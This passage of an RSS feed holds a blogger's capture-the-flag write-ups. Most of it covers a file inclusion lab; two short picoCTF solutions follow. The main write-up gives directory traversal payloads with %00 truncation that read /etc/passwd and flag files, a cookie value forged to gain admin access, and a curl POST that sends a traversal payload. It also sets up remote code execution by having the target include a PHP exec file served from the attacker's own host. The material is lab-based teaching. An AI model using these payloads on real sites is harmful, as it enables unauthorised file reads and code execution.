&lt;p&gt;(includes/etc/passwd.php)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To solve this issue we can use the ../../ trick to go up in the directories and use the %00 trick to cancel the .php append.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So the path we should enter to retieve the content of the passwd file is the answer of Q3&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;/lab3.php?file=../../../../etc/passwd%00&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Q4&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Q : Which function is causing the directory traversal in Lab #4?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0mjo6m6vgdt1g480xjm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0mjo6m6vgdt1g480xjm8.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ans = file_get_contents&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Q5&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Try out Lab #6 and check what is the directory that has to be in the input field?&lt;/p&gt;

&lt;p&gt;Open Lab 5 and pass a value ( etc/passwd )&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4fm7nzni7l8ibk7jpya7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4fm7nzni7l8ibk7jpya7.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The response says only files in THM-profile folder is accessible. Hence &lt;br&gt;&lt;br&gt;
Ans = THM-profile&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;Q6&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Try out Lab #6 and read &lt;strong&gt;/etc/os-release&lt;/strong&gt;. What is the &lt;strong&gt;VERSION_ID&lt;/strong&gt; value?&lt;/p&gt;

&lt;p&gt;We know that all the files should be from the THM-Profile directory hence our input should start with THM-Profile, and we can use the ../../ trick to go up in directories. Lets try this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AZf12GZ-OHR0mX0BI2KL0KA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AZf12GZ-OHR0mX0BI2KL0KA.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;strong&gt;THM-profile/../../../../../../etc/os-release&lt;/strong&gt; reveals the OS version as &lt;strong&gt;12.04&lt;/strong&gt; which is the answer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM-profile/../../../../../../etc/os-release
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Challenges
&lt;/h3&gt;

&lt;p&gt;These challenges can be completed using burp suite but as it is covered in other writeups this writeup contains methods to complete the task without burpsuite.&lt;/p&gt;

&lt;p&gt;Visit &lt;strong&gt;/challenges/index.php&lt;/strong&gt; and select &lt;strong&gt;Challenge 1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AUm-2T_3uHJO6K9nDuP7WBQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AUm-2T_3uHJO6K9nDuP7WBQ.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Q1. Capture Flag1 at /etc/flag1&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AeEXr2i0ClKxOlazVwXCl8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AeEXr2i0ClKxOlazVwXCl8w.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are given a hint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The input form is broken! You need to send &lt;code&gt;POST&lt;/code&gt; request with &lt;code&gt;file&lt;/code&gt; parameter!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Go to inspect and find the section related to the form, you can see that the form has been created with the method GET&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2ARav3oR0peUfkX4pqP-zIoA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2ARav3oR0peUfkX4pqP-zIoA.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Double click on GET and type POST in that space&lt;/strong&gt;. Then without refreshing the brower go to the input form and type &lt;strong&gt;etc/flag1&lt;/strong&gt; and press include.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A-KI6AoV1gd0T4aqoimEDwg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A-KI6AoV1gd0T4aqoimEDwg.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The flag will be visible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;F1x3d-iNpu7-f0rrn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;Q2. Capture Flag2 at /etc/flag2&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;You might be asked to refresh the page. If so refresh.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Ar73vW87ODmNb5sNh_ylf7Q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Ar73vW87ODmNb5sNh_ylf7Q.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The page says that only admins are allowed to view the site. Lets take a loot at the cookies to see if we can manipulate it.&lt;/p&gt;

&lt;p&gt;Right Click -&amp;gt; Inspect -&amp;gt; Storage -&amp;gt; Cookies&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Avyy57OPUrkLsbdEvpoyv8g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Avyy57OPUrkLsbdEvpoyv8g.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that the cookie has a value of Guest. We can try and edit this value. Lets try Admin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A3r4qiHM-VmA1aZFQzLlipA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A3r4qiHM-VmA1aZFQzLlipA.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Refresh the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A2TPBvjLYfQy27sM9erD2Vg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A2TPBvjLYfQy27sM9erD2Vg.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see it worked. But the flag is nowehere to be seen.&lt;/p&gt;

&lt;p&gt;We can see that the input is automatically appended to “includes/” so if we need to try and escape back to the parent directory we need to use the ../../ trick. And as .php is appended we also need to ad %00 to the end&lt;br&gt;&lt;br&gt;
Lets try the same thing again but this time with the path ../../../../../&lt;strong&gt;etc/flag2%00&lt;/strong&gt; as the value of the cookie.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;../../../../../etc/flag2%00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AOISut9XfQmPlRPlTGN72xg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AOISut9XfQmPlRPlTGN72xg.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can retieve the flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c00k13_i5_yuMmy1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Q3. Capture flag at etc/flag3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can follow the same steps and change the GET value to post and refresh the page and intercept the request from Burp and add the parameters and forward to get a response.&lt;/p&gt;

&lt;p&gt;But as this method is widely covered and known to give issues to many beginners i will suggest a easier method using CURL.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &amp;lt;ip_adr&amp;gt;/challenges/chall3.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'method=POST&amp;amp;file=../../../../etc/flag3%00'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Aigbg0ze7uhWYsz15Ci8mgA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Aigbg0ze7uhWYsz15Ci8mgA.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P0st_1s_w0rk1in9
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Q4.&lt;/strong&gt; Gain RCE in &lt;strong&gt;Lab #Playground&lt;/strong&gt; /playground.php with RFI to execute the hostname command. What is the output?&lt;/p&gt;

&lt;p&gt;In order to gain to this we need to create a file containing the hostname command on our machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hostname"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can do this by Nano in the terminal&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano test.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Type the PHP code , Press CTRL+O to save and Press Enter , Press CTRL+X to exit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use cat and view the file content is correct.&lt;/p&gt;

&lt;p&gt;Create a server on the same directory using the code ( include a port at the end if needed )&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Ay6GjuhVRkUlgT7yiqTiB0A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2Ay6GjuhVRkUlgT7yiqTiB0A.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Check the local IP address using ifconfig&lt;/p&gt;

&lt;p&gt;In the playground website create a connection using &lt;strong&gt;http:///&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AMitzmY5rmaUrVD9HfAw6hg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AMitzmY5rmaUrVD9HfAw6hg.jpeg" width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lfi-vm-thm-f8c5b1a78692
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>ctf</category>
    </item>
    <item>
      <title>PicoCTF Inspect HTML Writeup</title>
      <dc:creator>Riviru Eren</dc:creator>
      <pubDate>Wed, 08 Apr 2026 11:46:21 +0000</pubDate>
      <link>https://dev.to/rvr_eren/picoctf-inspect-html-writeup-2peh</link>
      <guid>https://dev.to/rvr_eren/picoctf-inspect-html-writeup-2peh</guid>
      <description>

&lt;h3&gt;
  
  
  PicoCTF Inspect HTML Writeup
&lt;/h3&gt;

&lt;p&gt;SUPER SUPER EASY&lt;/p&gt;

&lt;p&gt;Just Inspect the source code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4uusmat3lmrunqwaqpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4uusmat3lmrunqwaqpu.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;TADAAAAA and the flag shall be visible.&lt;/p&gt;

</description>
      <category>picoctf</category>
      <category>ctf</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>PicoCTF Cookies ( Web Exploitation )</title>
      <dc:creator>Riviru Eren</dc:creator>
      <pubDate>Wed, 08 Apr 2026 11:46:20 +0000</pubDate>
      <link>https://dev.to/rvr_eren/picoctf-cookies-web-exploitation--5c6j</link>
      <guid>https://dev.to/rvr_eren/picoctf-cookies-web-exploitation--5c6j</guid>
      <description>

&lt;h3&gt;
  
  
  PicoCTF Cookies 🍪 ( Web Exploitation )
&lt;/h3&gt;

&lt;p&gt;Easy&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This challenge focuses on the use and manipulation of web cookies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvmsqgpkzzb1mm5ywlobh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvmsqgpkzzb1mm5ywlobh.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Firsty click the link and access the webpage at &lt;a href="http://mercury.picoctf.net:64944/" rel="noopener noreferrer"&gt;http://mercury.picoctf.net:64944/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn35mzsdtc74wtmywtwrm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn35mzsdtc74wtmywtwrm.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can try entering a random cookie type to see if it generates a response.&lt;br&gt;&lt;br&gt;
Upon entering chocolate chip we get the following response.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrjghyryp1gjcyh8adf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrjghyryp1gjcyh8adf5.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets check the session cookies to see if we can gather some information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inspect -&amp;gt; Storage / Memory -&amp;gt; Cookies&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fern2suv6bfub07988oq4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fern2suv6bfub07988oq4.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that the cookie has a value of &lt;strong&gt;1,&lt;/strong&gt; lets try adjusting the value to see if we gain a different response.&lt;/p&gt;

&lt;p&gt;Adjusting the value as 2 gives us a new response with a new type of cookie.&lt;br&gt;&lt;br&gt;
Adjusting the value as 3 has the same output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feaksid8k5we9mg728zpz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feaksid8k5we9mg728zpz.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lets try the cookie value as 30.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk6skz061d69md7e9uoqd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk6skz061d69md7e9uoqd.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using 30 as the value for the cookie gives us an error hinting that the valid numbers of cookies lie &lt;strong&gt;between 1 and somewhere below 30.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Trying 29 yeilds no result , trying 28 gives a response. Hence the flag lies somewhere between cookie value 1 and 28.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie 18 contains the required flag.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6vricni1azl1p0c5vipr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6vricni1azl1p0c5vipr.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>picoctf</category>
      <category>ctf</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
  </channel>
</rss>
